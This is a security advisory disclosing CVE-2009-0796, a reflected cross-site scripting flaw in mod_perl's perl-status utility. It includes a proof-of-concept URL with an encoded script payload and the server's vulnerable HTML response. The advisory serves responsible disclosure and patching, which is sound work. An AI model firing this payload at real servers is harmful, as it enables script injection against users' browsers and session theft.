XSS with mod_perl perl_status utility

[antonia.goodwin@xxxxxxxxxxxxxx]

Vulnerability found: 28th February 2009

Vendor informed: 1st March 2009

Advisory last updated: 1st March 2009 

Severity: Medium/High

Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)
 
CVE reference: CVE-2009-0796 
BID: 34383

Many thanks to Torsten Foertsch for his kind assistance in fixing the bug.

Description: 

There is a Cross-site Scripting vulnerability on Mod_perl's, perl-status 
utility. The perl-status utility on request displays the current status of the 
Mod_perl server, and some configuration information. Perl-status when 
configured to allow any viewers, presents an information disclosure risk,
Procheckup has found by making a malformed request to perl-status, that 
additionally a vanilla cross site scripting (XSS) attack is possible.


Proof of concept:

Submitting the following string to an unpatched server "server".
http://server:80/perl-status/APR::SockAddr::port/%22%3E%3Cscript%3Ealert(1)%3C/script%3E


The following is returned:-
<p><a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?env">Environment</a><br
 />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inc">Loaded 
Modules</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inh_tree">Inheritance
 Tree</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?isa_tree">ISA
 Tree</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?myconfig">Perl
 Configuration</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?rgysubs">Compiled
 Registry Scripts</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?script">PerlRequire'd
 Files</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?sig">Signal 
Handlers</a><br />
<a 
href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?symdump">Symbol
 Table Dump</a><br />
</p></body></html>


An attacker may be able to cause execution of malicious scripting code in the 
browser of a user who clicks on a link or visits a malicious webpage. The 
malicious code would run in the security context of the vulnerable website.

This type of attack can result in non-persistent defacement of the target site, 
or the redirection of confidential information (i.e.: passwords or session IDs) 
to unauthorised third parties.


Fix:


http://perl.apache.org/


Legal:

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